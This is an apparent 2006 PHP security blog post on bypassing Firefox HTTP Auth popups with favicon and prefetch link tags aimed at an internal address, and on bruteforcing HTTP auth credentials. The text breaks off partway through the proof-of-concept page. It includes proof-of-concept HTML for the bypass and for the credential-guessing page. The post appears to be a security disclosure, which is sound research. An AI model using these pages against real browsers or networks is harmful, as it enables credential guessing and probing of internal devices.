

# Bruteforcing HTTP Auth in Firefox with JavaScript

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Bruteforcing HTTP Auth in Firefox with JavaScript - PHP Security Blog

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## Bruteforcing HTTP Auth in Firefox with JavaScript

### Friday, December 1. 2006

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Yesterday I blogged about a [way to bypass HTTP Auth popus](#) that used a "abuse the server" approach. Today I will show a way to bypass HTTP auth in Firefox and in some cases bruteforce HTTP auth in Firefox in some situations. The precondition for the bruteforce approach here is that the attacked server is either running PHP with `expose_php=On` or an application in a guessable location that contains pictures. (However combined with timing attacks and the number of requests sent depending if the password was correct or not it might be possible to do this without pictures)

The basic idea behind bypassing HTTP auth is to request the files in a way that Firefox will not bother asking the user for a password. From a logical point of view this results in the question: Where does Firefox request optional content? Because this are the likely cases where it does not ask the user for a password. After a bit of thinking you might get the idea that the favicon and the page prefetching are likely cases.

And indeed a page like this will not trigger an HTTP auth popup

```

****<html****
****<head****
****<title****FF HTML Only HTTP Auth Bypass****</title****
****<link rel="shortcut icon" href="http://192.168.1.1/"
type="image/x-icon"****
****<link rel="prefetch" href="http://192.168.1.1/"****
****</head****
****<body****
Bumm
****</body****
****</html****

```

If you like you can combine this with your favourite HTML only timing attack that is now public and discussed for example [here](#) or take the whole thing a step further and use it for bruteforcing HTTP auth. All you need for this is to know that Firefox does aggressive caching for favicons and the URL to a HTTP auth protected image. In case the server is running PHP with `expose_php=On` you can use the idea described [here](#) to use as attack image URL. The proof of concept code is here:

```

****<html****
****<head****
****<title****Firefox HTTP Auth Bruteforcing****</title****
****<script****
function okPW()
{
  alert("User/Password Combination correct");
}

function wrongPW()
{
  alert("User/Password Combination is wrong");
}

****</script****
****<link rel="shortcut icon" href="http://user:pass@URL"
type="image/x-icon"****
****</head****
****<body****
****.

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